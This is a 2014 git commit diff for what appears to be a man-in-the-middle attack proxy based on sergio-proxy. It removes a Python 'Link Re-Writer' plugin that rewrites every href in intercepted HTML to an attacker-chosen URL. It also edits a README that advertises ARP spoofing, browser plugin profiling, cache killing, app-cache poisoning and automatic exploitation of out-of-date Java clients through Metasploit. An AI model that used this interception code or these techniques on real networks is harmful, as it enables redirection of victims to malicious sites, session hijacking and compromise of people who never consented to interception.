removed link-rewriter

This commit is contained in:
byt3bl33d3r 2014-07-18 16:02:39 +02:00
commit d246864e91
2 changed files with 1 additions and 53 deletions

View file

@ -7,7 +7,7 @@ Quick tutorial and examples at http://sign0f4.blogspot.it
This tool is completely based on sergio-proxy https://code.google.com/p/sergio-proxy/ and is an attempt to revive and update the project.
Availible modules:
Availible plugins:
- ArpSpoof - Redirect traffic using arp-spoofing
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
- CacheKill - Kills page caching by modifying headers
@ -40,7 +40,3 @@ https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy ht
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!
Coming Soon:
- Update hijacking ??? (e.g. evilgrade)

View file

@ -1,48 +0,0 @@
#probably a better way of doing this
import logging, re, sys, os
from plugins.plugin import Plugin
class LinkRw(Plugin):
name = "Link Re-Writer"
optname = "linkrw"
implements = ["handleResponse"]
has_opts = True
desc = "Rewrites all href attributes to a specified url"
def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace'''
self.options = options
self.url = options.url
self.mime = "text/html"
print "[*] Link Re-Writer plugin online"
def handleResponse(self, request, data):
ip,hn,mime = self._get_req_info(request)
if mime.find(self.mime)!=-1:
data = self.repl_hrefs(data)
logging.info("%s [%s] Re-wrote hrefs" % (request.client.getClientIP(), request.headers['host']))
return {'request':request,'data':data}
else:
return
def add_options(self, options):
options.add_argument("--url", type=str, help="URL to re-write")
def _get_req_info(self, request):
ip = request.client.getClientIP()
hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type']
return (ip,hn,mime)
def repl_hrefs(self, data):
regex = [re.compile(r"href=[\'\"]http[s]?://.+[\'\"]", re.I)]
for i,r in enumerate(regex):
data=re.sub(r, "href=" + self.url, data)
return data